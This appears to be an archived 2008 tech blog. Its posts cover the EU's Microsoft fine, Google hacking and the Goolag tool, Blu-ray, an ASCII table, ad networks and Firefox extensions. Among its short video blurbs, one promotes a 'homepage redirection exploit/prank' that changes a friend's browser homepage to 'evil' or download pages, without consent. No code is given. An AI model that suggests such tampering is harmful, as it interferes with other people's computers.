European taxpayers.

Microsoft earned $14.07 billion on $51.12 billion in worldwide sales during its last fiscal year that ended June 30.

"We could have gone as high as 1.5 billion euros," Kroes said,
referring to an amount equal to about $2.2 billion. "The maximum amount
is higher than what we did at the end of the day. Microsoft's actions
stifled innovation, hurting millions of people who use computers in
offices around the world, she said, calling the fine "a reasonable
response to a series of quite unreasonable actions."

The
software titan fought hard against the EU's 2004 decision that ordered
it to share interoperability information with rivals and sell a version
of Windows without media software, taking an appeal to an EU court that
it lost last September.

It was fined again in July 2006 - $357 million - for failing to obey that order.

The EU alleged that Microsoft withheld crucial interoperability
information to squeeze into a new market and damage rivals that make
programs for workgroup servers that help office computers connect to
each other and to printers and faxes.

The company delayed
complying with the EU order for three years, the EU said, only making
changes on Oct. 22 to the patent licenses it charges companies that
need data to help them make software that works with Microsoft.

Microsoft had initially set a royalty rate of 3.87 percent of a
licensee's product revenues for patents and demanded that companies
looking for communication information - which it said was highly secret
- pay 2.98 percent of their products' revenues.

The EU
complained last March that these rates were unfair. Under threat of
fines, Microsoft two months later reduced the patent rate to 0.7
percent and the information license to 0.5 percent - but only in
Europe, leaving the worldwide rates unchanged.

The EU's Court
of First Instance ruling that upheld regulators' views changed the
company's mind again in October when it offered a new license for
interoperability information for a flat fee of $14,900 and an optional
worldwide patent license for a reduced royalty of 0.4 percent.

Even as the EU moves on to new complaints, Microsoft's 1990s business practices remain the subject of oversight in the U.S.

In January, a federal judge extended a consent decree enforcing the
2002 antitrust settlement reached among Microsoft, the U.S. government
and 17 states by two years. The settlement barred Microsoft from
seeking deals with computer makers to exclude competing software and
aimed to keep it from using its operating system monopoly to stifle
competition in other products.

Use of Google for Data Triggers Fears

2008-03-01T07:48:00.001-08:00

It's called "Google hacking" - a slick data-mining technique used by
the Internet's cops and crooks alike to unearth sensitive material
mistakenly posted to public Web sites.

And it's just gotten easier, thanks to a program that automates what
has typically been painstaking manual labor. The program's authors say
they hope it will "screw a large Internet search engine and make the
Web a safer place."

Google hacking doesn't mean anyone's
hacking Google's Web site. Rather, it refers to a sophisticated
searching technique used to uncover flaws in the way Web sites handle
confidential details, such as public files containing password and
credit card numbers and clues about the vulnerability of the site's own
servers.

It works by examining the hidden recesses of a Web
site, areas that have been indexed by Google but don't pop up in
traditional searches. Sometimes Web sites accidentally post revealing
information about themselves, either because employees mistakenly put
confidential documents online, or the site wasn't properly configured
to obscure sensitive areas.

Security experts say Google hacking wouldn't be an issue if Web sites had proper security safeguards in place.

By looking through Google for evidence of specific types of files used
by a Web site or telling responses from the Web site's servers, hackers
can learn a lot about how the site was built - and thus how to begin
crafting their attacks.

Although Google hacking has been used
for several years by good guys and bad guys to monitor security,
experts caution that the new program, called Goolag, could tip the
balance in favor of criminals.

"It just makes their job that
much easier - in a very short period of time they can do all these
searches for sensitive information," said Ryan Barnett, director of
application security at Breach Security Inc. and a SANS Institute
faculty member.

Google hackers have typically had to enter in
detailed Google search strings by hand, using specially crafted queries
to unearth links buried deep in the list of a site's contents. Google
has been able to clamp down on past attempts to automate the process.

Experts say the new program, on the other hand, appears to work
differently, tricking Google into believing a real person is typing the
queries - in other words, someone Google would be unlikely to block.

Google declined to comment on Goolag, released by the hacker group Cult of the Dead Cow.

Budget 08: Games To Get Slightly More Expensive?

2008-03-01T07:47:00.001-08:00

The Finance Minister has thrown a bit of a googly to Indian gamers in his 2008 Budget Speech.

Sample this:

151.
Similarly, I propose to increase the excise duty on packaged software
from 8 per cent to 12 per cent to bring it on par with customised
software which will attract a service tax of 12 per cent.

Now all games bought off the shelf qualify as "packaged software".
However, excise duty is levied only on locally manufactured products
(as against customs duty which is levied on imported stuff). Thus
locally made titles including most PlayStation 2 games, will be 4% more
expensive. Milestone Interactive (which prints and distributes PS2
games in India) chief, Jayant Sharma told Tech2.com
that he would like to look at the fine print but admitted that the hike
would be passed on to consumers since Excise is typically slapped on
the final selling price.

Gaming industry sources also seem
divided on the definition of what constitutes 'local manufacture' of a
game. For instance EA does the final mastering of many titles locally -
will those prices go up? We'll update you as more industry figures
study the budget and provide us their official positions

The
notes to the speech define packaged software as "packaged software or
canned software" means a software developed to meet the needs of
variety of users, and which is intended for sale or capable of being
sold, off the shelf.

Well, by that definition do DVDs and VCDs
also qualify as "software" since they come enabled with menus that can
be manipulated by the user? In the final analysis though, even though
the hike is marginal, this won't do much good for an industry already
swamped by piracy.

Find Ip Address Of Any PC

2008-02-24T04:45:00.000-08:00

Find Ip Address Of Any PC - Click here for the most popular videos

with this metod you can find the ip address of any pc (local if they have a router)

Homepage Redirection Exploit/prank

2008-02-24T04:40:00.000-08:00

Homepage Redirection Exploit/prank - Click here for the most popular videos

this makes you able to redirect homepages. for example, you sitt infront of your friends computer and changes hes favourite homepage adress to something evil, or if you.. are interessted in hacking you can redirect to downloadpages. this movie is made for general purposes only and not ment to harm

Photoshop Match Color (simple And Amazing Results)

2008-02-24T04:19:00.000-08:00

Photoshop Match Color (simple And Amazing Results) - Watch more funny videos here

This tutorial will show you how to match color between 2 photos or more, so you can make a perfect blend images!

Can You Create Energy? A Must See Video For All Ages !!!!

2008-02-24T03:36:00.000-08:00

Can You Create Energy? A Must See Video For All Ages !!!! - A funny movie is a click away

Can you destroy energy? A simple video that will pleasantly surprise you and your kids !!!! Must watch.

How To Make Blood Appear In Body Without Any Wound!!

2008-02-24T03:30:00.000-08:00

How To Make Blood Appear In Body Without Any Wound!! - The funniest movie is here. Find it

Blood Hack. A perfect halloween trick !! Scare your friends, by making blood appear, without any bruises.Fake blood hack. See for yourself. !!

All About Blu-ray

2008-02-24T01:47:00.001-08:00

The format war is over, and Blu-ray has won. During the war the Sony
camp was referred to as the Boys in Blue, while HD DVD were the Boys in
Red. Slowly and steadily the latter became less and less of a
contender, and then it happened: one of the biggest Reds (Warner) upped
and left. After that HD DVD came crashing down, and the lights finally
went out late last week.

So Blu-ray is our next form of optical
storage, and it will become popular in India soon. Demand has to be
created for the product – and this time let's please not
dilly-dally, we always lag behind when it comes to tech stuff (whiny tone). We enjoyed some HD content through our PS3, and it looks insane. So it's about time.

Why Blu
Before explaining why and how Blu-ray
functions, one must know that an optical disc stores digital info (1s
and 0s) in the form of bumps burnt in on the aluminum layer, in the
form of concentric rings. The laser scans outwards, reflects off these
bumps and flat part sequentially. The reflected rays obviously are
different, and thus an optical sensor records a ‘1’ for
bump and ‘0’ for no bump. (Here 1 means a higher signal
level and not the number 1!). A bitstream is created and sent to the
DAC (digital-analog converter).

So how does this relate to
Blu-rays having more info? The answer is in the type of laser used, the
numerical aperture of the lens, the distance between bumps (track
pitch), its thickness etc. They are all lessened or increased
accordingly. E.g. while DVDs use a red laser of 635-650nm wavelength to
read information on discs, the amount of data that can be stored and
read is only 4.7 GB for single layer discs.

Back in around
2003, when terrestrial digital broadcasting started, the great minds in
the heads of great companies (now known as the BDA) figured out that
recording about two hours of HD media on to a disc would need 22GB,
something that a DVD cannot provide. Thus Blu-ray discs were born (and
also HD DVD, then known as AOD).

The
abbreviation is BD, and the cause for having such a name is due to the
type of laser used: a blue violet laser of lesser wavelength, 405 nm.
This facilitates a more accurate focus, and thus more info can be
written and read from the same space. Another point is that the
numerical aperture is made larger: 0.85 from 0.60 in DVDs. This
facilitates a smaller diameter of the laser point (more accurate),
allowing more info to be assimilated on the discs. That explains why BD
discs are of the same diameter and thickness (120mm and 1.2 mm
respectively) as normal discs, though the storage capacity is 25GB for
single layer and 50GB for dual layer.

One cool thing of BDs is
that they have a harder coating; the data is read off this itself, and
thus they claim to be very resistant to dirt and other stuff. But this
we will have to look at more closely before we commit ourselves...

What Blu
BDs store full HD movies, in the form of
BD-ROMs, just like DVD-ROMs. There are BD-Rs and BD-REs (rewritable)
too, for burning data and stuff. The video formats read by players and
stored on BDs are MPEG-2, MPEG-4 AVC (H.264). For audio there are quite
a few formats: Linear PCM, Dolby Digital, Dolby Digital Plus, Dolby
TrueHD, DTS Digital Surround, DTS-HD. Data transfer rate is 36 Mbps at
1x speed; this is specified by the BDA.

Image sourced from amazon.com

Interactivity
has also been improved, with the addition of BD-J, or Blu-ray Disc
Java, which has killer stuff like picture in picture, access to the net
and more! On a serious note, copy protection standards included in BD
are AACS (Advanced Access Content System), BD+, ROM-Mark and the
familiar HDCP. But There are claims that AACS and BD+ have already been
cracked... maybe that’s why so many high def movie are already
available on the net.

Allow me to add a note on Blu-ray player
profiles, as when you buy your player this will become important. There
is BD 1.0, BD 1.1 and BD live 2.0. Currently profile 1.1 is being
released, which requires 256 Mb of local sorage, extra audio and video
decoders, but no guarantee for web-enhanced content. BD 2.0, on the
other hand, has this.

Remember regions? BD has them too, though only three this time: A (green), B (orange) and C (red). India is in region C.

image sourced from www.blu-raydisc.com

Who Blu
Enough
technical stuff; lets see what movies are coming our way, and who is
supporting and producing Blu-ray. Sony is naturally one of the
pioneers, and most Hollywood studios supported it all along: Warner,
Paramount, Fox, Disney, Sony, MGM, and Lionsgate. Universal was in the
HD DVD camp, though now it had better switch!

When it comes to
hardware, the list is long. These are a few of the major names: Sony,
Panasonic, Philips, Samsung, Pioneer, Sharp, JVC, Hitachi, Mitsubishi,
TDK, Thomson, LG, Apple, HP, and Dell. Microsoft supported HD DVD,
though now it had better switch as well!

Famous players available
in India include the PS3 (duh), apart from Sony's BDP-S300 and BDP-S1E.
Then we have LG’s BD100, Samsung’s BD-P1400 and BD-P1000
(manufacturing has stopped already, I don’t think they sold any
here).

Conclusion
I
guess its time for us to accept the format and enjoy HD content. Prices
of individual discs have not been decided, but will initially tend to
be a bit pricey. Though we can be sure that prices will fall sooner or
later, as it always does in the case of any kind of electronic devices.

ASCII Codes

2008-02-24T00:47:00.001-08:00

ASCII code stands for American Standard Code for information interchange. It is a seven bit code. The seven bits are formed, based on a standard binary progression. The first three MSB bits represent whether a number, letter or character is coded. The last four bits represent the actual code of number, letter or character. Totally it contains 128 combinations of characters. 26 combinations represent letters in uppercase and another 26 for representing lowercase letters. 10 combinations are used for numerals. The remaining combinations are used to represent functions, punctuation marks and various special characters.

       Decimal   Octal   Hex    Binary     Value
     -------   -----   ---    ------     -----
       000      000    000   00000000      NUL    (Null char.)
       001      001    001   00000001      SOH    (Start of Header)
       002      002    002   00000010      STX    (Start of Text)
       003      003    003   00000011      ETX    (End of Text)
       004      004    004   00000100      EOT    (End of Transmission)
       005      005    005   00000101      ENQ    (Enquiry)
       006      006    006   00000110      ACK    (Acknowledgment)
       007      007    007   00000111      BEL    (Bell)
       008      010    008   00001000       BS    (Backspace)
       009      011    009   00001001       HT    (Horizontal Tab)
       010      012    00A   00001010       LF    (Line Feed)
       011      013    00B   00001011       VT    (Vertical Tab)
       012      014    00C   00001100       FF    (Form Feed)
       013      015    00D   00001101       CR    (Carriage Return)
       014      016    00E   00001110       SO    (Shift Out)
       015      017    00F   00001111       SI    (Shift In)
       016      020    010   00010000      DLE    (Data Link Escape)
       017      021    011   00010001      DC1 (XON) (Device Control 1)
       018      022    012   00010010      DC2       (Device Control 2)
       019      023    013   00010011      DC3 (XOFF)(Device Control 3)
       020      024    014   00010100      DC4       (Device Control 4)
       021      025    015   00010101      NAK    (Negative Acknowledgement)
       022      026    016   00010110      SYN    (Synchronous Idle)
       023      027    017   00010111      ETB    (End of Trans. Block)
       024      030    018   00011000      CAN    (Cancel)
       025      031    019   00011001       EM    (End of Medium)
       026      032    01A   00011010      SUB    (Substitute)
       027      033    01B   00011011      ESC    (Escape)
       028      034    01C   00011100       FS    (File Separator)
       029      035    01D   00011101       GS    (Group Separator)
       030      036    01E   00011110       RS    (Request to Send)(Record Separator)
       031      037    01F   00011111       US    (Unit Separator)
       032      040    020   00100000       SP    (Space)
       033      041    021   00100001        !    (exclamation mark)
       034      042    022   00100010        "    (double quote)
       035      043    023   00100011        #    (number sign)
       036      044    024   00100100        $    (dollar sign)
       037      045    025   00100101        %    (percent)
       038      046    026   00100110        &    (ampersand)
       039      047    027   00100111        '    (single quote)
       040      050    028   00101000        (    (left/opening parenthesis)
       041      051    029   00101001        )    (right/closing parenthesis)
       042      052    02A   00101010        *    (asterisk)
       043      053    02B   00101011        +    (plus)
       044      054    02C   00101100        ,    (comma)
       045      055    02D   00101101        -    (minus or dash)
       046      056    02E   00101110        .    (dot)
       047      057    02F   00101111        /    (forward slash)
       048      060    030   00110000        0
       049      061    031   00110001        1
       050      062    032   00110010        2
       051      063    033   00110011        3
       052      064    034   00110100        4
       053      065    035   00110101        5
       054      066    036   00110110        6
       055      067    037   00110111        7
       056      070    038   00111000        8
       057      071    039   00111001        9
       058      072    03A   00111010        :    (colon)
       059      073    03B   00111011        ;    (semi-colon)
       060      074    03C   00111100        <    (less than)         061      075    03D   00111101        =    (equal sign)         062      076    03E   00111110        >    (greater than)
       063      077    03F   00111111        ?    (question mark)
       064      100    040   01000000        @    (AT symbol)
       065      101    041   01000001        A
       066      102    042   01000010        B
       067      103    043   01000011        C
       068      104    044   01000100        D
       069      105    045   01000101        E
       070      106    046   01000110        F
       071      107    047   01000111        G
       072      110    048   01001000        H
       073      111    049   01001001        I
       074      112    04A   01001010        J
       075      113    04B   01001011        K
       076      114    04C   01001100        L
       077      115    04D   01001101        M
       078      116    04E   01001110        N
       079      117    04F   01001111        O
       080      120    050   01010000        P
       081      121    051   01010001        Q
       082      122    052   01010010        R
       083      123    053   01010011        S
       084      124    054   01010100        T
       085      125    055   01010101        U
       086      126    056   01010110        V
       087      127    057   01010111        W
       088      130    058   01011000        X
       089      131    059   01011001        Y
       090      132    05A   01011010        Z
       091      133    05B   01011011        [    (left/opening bracket)
       092      134    05C   01011100        \    (back slash)
       093      135    05D   01011101        ]    (right/closing bracket)
       094      136    05E   01011110        ^    (caret/circumflex)
       095      137    05F   01011111        _    (underscore)
       096      140    060   01100000        `
       097      141    061   01100001        a
       098      142    062   01100010        b
       099      143    063   01100011        c
       100      144    064   01100100        d
       101      145    065   01100101        e
       102      146    066   01100110        f
       103      147    067   01100111        g
       104      150    068   01101000        h
       105      151    069   01101001        i
       106      152    06A   01101010        j
       107      153    06B   01101011        k
       108      154    06C   01101100        l
       109      155    06D   01101101        m
       110      156    06E   01101110        n
       111      157    06F   01101111        o
       112      160    070   01110000        p
       113      161    071   01110001        q
       114      162    072   01110010        r
       115      163    073   01110011        s
       116      164    074   01110100        t
       117      165    075   01110101        u
       118      166    076   01110110        v
       119      167    077   01110111        w
       120      170    078   01111000        x
       121      171    079   01111001        y
       122      172    07A   01111010        z
       123      173    07B   01111011        {    (left/opening brace)
       124      174    07C   01111100        |    (vertical bar)
       125      175    07D   01111101        }    (right/closing brace)
       126      176    07E   01111110        ~    (tilde)
       127      177    07F   01111111      DEL    (delete)

To represent the letter 'A', the code '100 0001' is used. Similarly, to represent 'B', the code '100 0010' is used. In both cases the first 3 bits are same. But the remaining four bits change according to a standard progressive value, i.e. it varies from 0000 to 1111 respectively. Similarly the first three bits also follow a standard progression from 000 to 111. Number '2' is coded as '011 0010' and the letter B is coded as '100 0010'.

Top Advertising Networks

2008-02-23T09:09:00.000-08:00

Here are what I consider is the top advertising networks

1. Google Adsense : The most popular and trusted ad network. It has very strict rules. But it can be used for very small as well as big sites. It give the highest payout. It wont approve any site with illegal content. Almost everything after registration is automated including banning. There are many who have been banned for one reason or the other. Google more prominence support to advertisers than the publishers. Publishers have to wait till you reach 100$ of earning for payout.

2. Adbrite : Has large number of sites in the network. Profit for advertisers than publishers. They show ads irreverent to the content. But adbrite has very less boundaries compared to adsense.Thats why adbrite became popular. It good for sites with high traffic. Adbrite supports any sites. You can decide the minimum amount for payout.

3. Bidvertiser : It is good for low traffic websites. Minimum payout is 5$. A somewhat different approach to pay-per-click advertising is offered by an entity called Bidvertiser. Although it is difficult to fit Bidvertiser into one of the neat little slots of types of search engine, it does offer another way to participate in pay-per-click advertising where you, the advertiser, have more control than normal in where your ads appear.

4. Burst Network : It is reviewed as a good ad network for small and medium sized sites. It has good rates, very good campaigns and it is able to filter any bad ones. Their main disadvantage is that they are very slow to paying.

5. Tribal Fusion : iIt is considered by its users as an excellent choice, with good rates and good targeted campaigns. Their only "problem" is that they are very selective towards the web pages that appear. It needs to have serious content or they will dismiss it from being a part of their distribution network.

6. Fast click : It is considered a good company, with good support and pays well. They, like Tribal Fusion, have a very strict code, and make continuous auditions.

7. Casale : Casale is a new player in this market, and a very competitive one. They have the best rates available, they hardly display "you've won" or "you are in danger" ads and give you instantaneous information. Their only disadvantage is that you require a traffic volume of at least 10,000 visits per month.

Some cool add-ons for your browser

2008-02-23T08:35:00.000-08:00

The best firefox extensions list:

Blogging:

StumbleUpon - StumbleUpon lets you "channelsurf" the best-reviewed sites on the web. It is a collaborative surfing tool for browsing, reviewing and sharing great sites with like-minded people. This helps you find interesting webpages you wouldn't think to search for.
Clipmarks - With Clipmarks, you can clip the best parts of web pages. Whether it’s a paragraph, sentence, image or video, you can capture just the pieces you want without having to bookmark the entire page.
Sage - Sage is a lightweight RSS and Atom feed aggregator extension for Mozilla Firefox. It's got a lot of what you need and not much of what you don't.
Jeteye - Jeteye is a unique Web-based application and service that is designed for the next generation of enterprise and consumer use of the Web. Jeteye changes how we interact with the web, in an era where communication and social computing are more powerful than ever.
Performancing - Performancing for Firefox is a full featured blog editor that sits right in your Firefox browser and lets you post to your blog easily. You can drag and drop formatted text from the page you happen to be browsing, and take notes as well as post to your blog.
TorrentBar - BitTorrent File Search Toolbar for Firefox. Allows to search numerous sites in a matter of minutes for needed torrent files.
Wizz RSS News Reader - A fairly good RSS and Atom news reader.
MeasureIt - Draw out a ruler to get the pixel width and height of any elements on a webpage.
Show MyIP - Displays your current IP address. If you have a static IP (Internet Protocol) address, this number will stay the same each time you visit. If you have a dynamic IP, the number will change each time you log on to the internet (or your ISP assigns a new IP).
NewsFox - RSS/Atom News Reader.

Developer Tools:

FireFTP - FireFTP is a free, secure, cross-platform FTP client for Mozilla Firefox which provides easy and intuitive access to FTP servers.
IE Tab - IE Tab - an extension from Taiwan, features: Embedding Internet Explorer in tabs of Mozilla/Firefox.
Web Developer - Adds a menu and a toolbar with various web developer tools.
Firebug - Firebug integrates with Firefox to put a wealth of development tools at your fingertips while you browse. You can edit, debug, and monitor CSS, HTML, and JavaScript live in any web page.
Greasemonkey - Allows you to customize the way a webpage displays using small bits of JavaScript.
Tab Mix Plus - Tab Mix Plus enhances Firefox's tab browsing capabilities. It includes such features as duplicating tabs, controlling tab focus, tab clicking options, undo closed tabs and windows, plus much more. It also includes a full-featured session manager with crash recovery that can save and restore combinations of opened tabs and windows.
Image Zoom - Easily zoom in, zoom out, fit image to screen or set custom zoom on individual images within a web page. All this can be done by using the context menu or a combination of mouse buttons and scroll wheel. Handy to see the finer details of smaller pics or to make very large pics fit within your screen.
ColorZilla - Advanced Eyedropper, ColorPicker, Page Zoomer and other colorful goodies.
IE View - Lets you load pages in IE with a single right-click, or mark certain sites to *always* load in IE. Useful for incompatible pages, or cross-browser testing.
iMacros - Automate your web browser. Record and replay repetitious work.

Editing and Forms:

Performancing - Performancing for Firefox is a full featured blog editor that sits right in your Firefox browser and lets you post to your blog easily. You can drag and drop formatted text from the page you happen to be browsing, and take notes as well as post to your blog.
Gmail Skins - Skins and other extra features for Gmail.
InFormEnter - InFormEnter adds a small, clickable icon next to every input field in a web form, from where you can select the item to be inserted - no typing required. You can configure it to display your frequently used information such as name, email, address and whatever else you want to be available from the form menu.
Snipshot - Edit any picture on the web with one right-click. The picture will be brought into the online image editor Snipshot where you can crop, resize, rotate or recolor it, then save it into a variety of formats (JPG, GIF, PNG, PDF) or to Flickr or a free image host. For faster workflow, you can optionally enhance the image as it enters Snipshot or resize it to fit a set of custom dimensions.
JSView - All browsers include a "View Source" option, but none of them offer the ability to view the source code of external files. Most websites store their javascripts and style sheets in external files and then link to them within a web page's source code. Previously if you wanted to view the source code of an external javascript/css you would have to manually look through the source code to find the url and then type that into your browser.
Password Exporter - This extension allows you to export and import your saved passwords and rejected sites between computers. Your passwords will be exported to an XML or CSV file and can be encrypted.
AI Roboform Toolbar - Add RoboForm Toolbar to Firefox.
DejaClick - DéjàClick is a web recorder and Super Bookmark utility designed exclusively for Firefox. You can record and bookmark your browser activities, then with a single click, replay the entire sequence all over again. Got a package or an order you want to track? Have a favorite category at an online auction site? Tired of going through the steps to log into your e-mail? Use DéjàClick by AlertSite to automatically access any final URL. Also works great for quickly producing web application test scripts.
Unofficial Myspace Toolbar - Automatically login to Myspace, instantly access your messages, view hidden comments, create styled comments/bulletins and more with this intuitive and customizable toolbar!
FireFoxMenuButtons - Adds 41 new Buttons (duplicating of menu strings) from Firefox Menu on the Toolbar!

Image Browsing:

FlashGot - Download one link, selected links or all the links of a page together at the maximum speed with a single click, using the most popular, lightweight and reliable external download managers.
DownThemAll - The first and only download manager/accelerator built inside Firefox!
Cooliris Previews - Cooliris Previews for Firefox gives you the power to browse faster and send links instantly.
Gspace - This extension allows you to use your Gmail Space (2.8 GB and growing) for file storage. It acts as an online drive, so you can upload files from your hard drive and access them from every Internet capable system.
Firefox Companion for Kodak EasyShare Gallery - Organizing and sharing your pictures is easier than ever with Firefox Companion for Kodak EasyShare Gallery. Upload photos directly to your Kodak EasyShare Gallery, all within your browser. Drag, drop and arrange pictures adding photo titles, and create albums by multi-selecting photos - all of this without interrupting your Internet browsing. Co-developed by Kodak, it also includes other popular photo services.
BlueOrganizer - The blueorganizer is smart browsing and personalization technology for Firefox. It makes the browser aware of everyday objects like books, movies, wines, restaurants and much more. The blueorganizer helps you automatically collect these object from many popular sites, manage them and instantly find related information.
DownloadHelper - DownloadHelper is a tool for web content extraction. Its purpose is to capture video and image files from many sites.
Firefox Showcase - Showcase provides a new way to manage your Firefox tabs and windows by showing them as thumbnails in a single window, tab or sidebar. Includes a find bar that will filter the thumbnails, and the capability to select the thumbnails in the same way you would select files in your system.
Image Zoom - Adds zoom functionality for images.
Send 2 Cellphone - Send2Cellphone provides a simple way to send images from web pages directly to mobile phones via free Send2Cellphone service. Simply right click any image on any web page and select "Send2Cellphone" from the context menu. After transferring the picture to your cell phone you can view it, use it as a wallpaper or send to a friend via MMS.

Message Reading:

Cooliris Previews - Cooliris Previews for Firefox gives you the power to browse faster and send links instantly.
Mouse Gestures - Allows you to execute common commands (like page forward/backward, close tab, new tab) by mouse gestures drawn over the current webpage, without reaching for the toolbar or the keyboard.
Gmail Manager - Allows you to manage multiple Gmail accounts and receive new mail notifications. Displays your account details including unread messages, saved drafts, spam messages, labels with new mail, space used, and new mail snippets.
ReminderFox - ReminderFox is an extension that displays and manages lists of date-based reminders and ToDo's. ReminderFox does not seek to be a full-fledged calendar system. In fact, the target audience is anybody that simply wants to remember important dates (birthdays, anniversaries, etc) without having to run a fat calendar application.
NewsFox - RSS/Atom News Reader.
Yahoo! Mail Notifier - This extension notifies you when new messages arrive in your Yahoo mailbox.
Gmail Skins - Skins and other extra features for Gmail.
WOT - WOT helps you avoid disingenuous Internet content by allowing you to learn from others' experiences. WOT shows you website reputations on your browser, telling you how much other users trust a website. This helps you make better decisions while browsing and avoid phishing, malware, and other types of fraud. Reputations can also be added to web search results, Gmail, Wikipedia, and other selected sites.
Temporary Inbox - This extension generates random disposable email addresses. You can use these email addresses for registration in forums, adult sites or whereever.
infoRSS - Displays RSS, Atom, parsed HTML and NNTP feed in a scrolling area the status bar. Compatible with podcasting RSS which can be downloaded directly.
It's also a good Gmail notifier.

News Reading:

Forecastfox - Get international weather forecasts from AccuWeather.com, and display it in any toolbar or statusbar with this highly customizable and unobtrusive extension.
Cooliris Previews - Cooliris Previews for Firefox gives you the power to browse faster and send links instantly.
Sage - Sage is a lightweight RSS and Atom feed aggregator extension for Mozilla Firefox. It's got a lot of what you need and not much of what you don't.
BlueOrganizer - The blueorganizer is smart browsing and personalization technology for Firefox. It makes the browser aware of everyday objects like books, movies, wines, restaurants and much more. The blueorganizer helps you automatically collect these object from many popular sites, manage them and instantly find related information.
TorrentBar - BitTorrent File Search Toolbar for Firefox. Allows to search numerous sites in a matter of minutes for needed torrent files.
Wizz RSS News Reader - A fairly good RSS and Atom news reader.
ReminderFox - ReminderFox is an extension that displays and manages lists of date-based reminders and ToDo's. ReminderFox does not seek to be a full-fledged calendar system. In fact, the target audience is anybody that simply wants to remember important dates (birthdays, anniversaries, etc) without having to run a fat calendar application.
Forecastfox Enhanced - Enhanced version of the popular Forecastfox extension (forecastfox.mozdev.org) by Jon Stritar and Richard Klien. This adds 12 improved radar images for US locations and 4 for international locations and the ability to supply a URL to use images from other sites.
NewsFox - RSS/Atom News Reader.
1-ClickWeather - Because weather is important to you everyday... weather.com offers you instant local weather conditions, alerts, radar in motion, satellite maps, and forecasts all within your Firefox browser.

Tabbed Browsing:

IE Tab - IE Tab - an extension from Taiwan, features: Embedding Internet Explorer in tabs of Mozilla/Firefox. This is a great tool for web developers, since you can easily see how your webpage displayed in IE with just one click and then switch back to Firefox.
Tab Mix Plus - Tab Mix Plus enhances Firefox's tab browsing capabilities. It includes such features as duplicating tabs, controlling tab focus, tab clicking options, undo closed tabs and windows, plus much more. It also includes a full-featured session manager with crash recovery that can save and restore combinations of opened tabs and windows.
Firefox Showcase - Showcase provides a new way to manage your Firefox tabs and windows by showing them as thumbnails in a single window, tab or sidebar. Includes a find bar that will filter the thumbnails, and the capability to select the thumbnails in the same way you would select files in your system.
Colorful Tabs - The most beautiful yet the simplest add-on that makes a strong colorful appeal. Colors every tab in a different color and makes them easy to distinguish while beautifying the overall appearance of the interface.
Session Manager - Session Manager saves and restores the state of all windows - either when you want it or automatically at startup and after crashes. Additionally it offers you to reopen (accidentally) closed windows and tabs. If you're afraid of losing data while browsing - this extension allows you to relax.
Tabbrowser Preferences - Enables enhanced control for some aspects of tabbed browsing.
Advanced Dork - Advanced Dork: gives quick access to Google's Advanced Operators directly from the context menu.
ChromaTabs - Colors browser tabs based on the site loaded. For example, visiting mozilla.org will make the tab blue, and cnn.com will make the tab green.
Tab Catalog - Shows thumbnail-style catalog of tabs.
Tab Control - Take control of your tabs!

XUL Applications:

FireFTP - FireFTP is a free, secure, cross-platform FTP client for Mozilla Firefox which provides easy and intuitive access to FTP servers.
FoxyTunes - Do you listen to Music while surfing the Web? Now you can control your favorite media player without ever leaving the browser and more.
DownThemAll - DownThemAll is all you can desire from a download manager: it features an advanced accelerator that increases speed up to 400% and it allows you to pause and resume downloads at any time!
Gspace - This extension allows you to use your Gmail Space (2.8 GB and growing) for file storage. It acts as an online drive, so you can upload files from your hard drive and access them from every Internet capable system. The interface will make your Gmail account look like a FTP host.
ChatZilla - A clean, easy to use and highly extensible Internet Relay Chat (IRC) client.
Jeteye - Jeteye is a unique Web-based application and service that is designed for the next generation of enterprise and consumer use of the Web. Jeteye changes how we interact with the web, in an era where communication and social computing are more powerful than ever.
Performancing - Performancing for Firefox is a full featured blog editor that sits right in your Firefox browser and lets you post to your blog easily. You can drag and drop formatted text from the page you happen to be browsing, and take notes as well as post to your blog.
AllPeers - Share your files privately and securely. Chat with your friends.
Wizz RSS News Reader - A fairly good RSS and Atom news reader.
ReminderFox - ReminderFox is an extension that displays and manages lists of date-based reminders and ToDo's. ReminderFox does not seek to be a full-fledged calendar system. In fact, the target audience is anybody that simply wants to remember important dates (birthdays, anniversaries, etc) without having to run a fat calendar application.

Bookmarks:

StumbleUpon - StumbleUpon lets you "channelsurf" the best-reviewed sites on the web. It is a collaborative surfing tool for browsing, reviewing and sharing great sites with like-minded people. This helps you find interesting webpages you wouldn't think to search for.
Foxmarks Bookmark Synchronizer - If you use Firefox on more than one computer, you'll want Foxmarks. Install Foxmarks on each computer, and it will work silently in the background to keep your bookmarks synchronized. As a bonus, log in to my.foxmarks.com from any computer anywhere to access your bookmarks.
del.icio.us Bookmarks - This extension integrates your browser with del.icio.us (http://del.icio.us/), the leading social bookmarking service on the Web. It does this by augmenting the bookmarking functionality in Firefox with an enhanced experience.
Clipmarks - With Clipmarks, you can clip the best parts of web pages. Whether it’s a paragraph, sentence, image or video, you can capture just the pieces you want without having to bookmark the entire page.
Tab Mix Plus - Tab Mix Plus enhances Firefox's tab browsing capabilities. It includes such features as duplicating tabs, controlling tab focus, tab clicking options, undo closed tabs and windows, plus much more. It also includes a full-featured session manager with crash recovery that can save and restore combinations of opened tabs and windows.
Yoono - Yoono instantly suggests similar sites, blog notes and people sharing the same interests while you are surfing, for each page you open. Zero effort required - no more tagging, typing keywords or changing interface. Let Yoono bring you the best that others have discovered.
BlueOrganizer - The blueorganizer is smart browsing and personalization technology for Firefox. It makes the browser aware of everyday objects like books, movies, wines, restaurants and much more. The blueorganizer helps you automatically collect these object from many popular sites, manage them and instantly find related information.
Jeteye - Jeteye is a unique Web-based application and service that is designed for the next generation of enterprise and consumer use of the Web. Jeteye changes how we interact with the web, in an era where communication and social computing are more powerful than ever.
Firefox Showcase - Showcase provides a new way to manage your Firefox tabs and windows by showing them as thumbnails in a single window, tab or sidebar. Includes a find bar that will filter the thumbnails, and the capability to select the thumbnails in the same way you would select files in your system.
iMacros - Automate your web browser. Record and replay repetitious work.

Entertainment:

FoxyTunes - Do you listen to Music while surfing the Web? Now you can control your favorite media player without ever leaving the browser and more.
StumbleUpon - StumbleUpon lets you "channelsurf" the best-reviewed sites on the web. It is a collaborative surfing tool for browsing, reviewing and sharing great sites with like-minded people. This helps you find interesting webpages you wouldn't think to search for.
Gspace - This extension allows you to use your Gmail Space (2.8 GB and growing) for file storage. It acts as an online drive, so you can upload files from your hard drive and access them from every Internet capable system.
BlueOrganizer - The blueorganizer is smart browsing and personalization technology for Firefox. It makes the browser aware of everyday objects like books, movies, wines, restaurants and much more. The blueorganizer helps you automatically collect these object from many popular sites, manage them and instantly find related information.
Fast Video Download - Fast Video Download can save embedded video files from video-hosting servers.
